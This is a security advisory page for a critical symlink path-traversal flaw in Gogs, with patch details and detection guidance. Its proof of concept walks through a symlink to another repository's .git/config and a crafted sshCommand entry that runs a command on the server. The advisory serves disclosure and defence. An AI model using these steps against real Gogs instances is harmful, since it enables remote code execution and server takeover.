GHSA-r7j8-5h9c-f6fx is a critical-severity (CVSS 9.8) Path Traversal vulnerability in gogs.io/gogs. A fix is available for gogs.io/gogs — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r7j8-5h9c-f6fx.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
gogs.io/gogsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.
Patches
Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
-
Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.
-
In the second repository, create a symbolic link to the file you need to edit:
$ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test $ ls -la total 8 drwxr-xr-x 5 dd staff 160 Oct 27 19:09 . drwxr-xr-x 4 dd staff 128 Oct 27 19:06 .. drwxr-xr-x 12 dd staff 384 Oct 27 19:09 .git -rw-r--r-- 1 dd staff 12 Oct 27 19:06 README.md lrwxr-xr-x 1 dd staff 44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config $ git add . $ git commit -m 'ddd' $ git push -f -
Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true sshCommand = echo pwnned > /tmp/poc [remote "origin"] url = [[email protected]](mailto:[email protected]):torvalds/linux.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master -
Go back to the first repo, edit something, and commit again, you can notice a file called
/tmp/poccreated on the server.
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gogs.io/gogs | all versions | 0.13.1go get gogs.io/gogs@v0.13.1 |
Affected Products
gogsgogsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gogs.io/gogs to 0.13.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r7j8-5h9c-f6fx is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-r7j8-5h9c-f6fx in your dependencies?
Find it across Go, including transitive dependencies.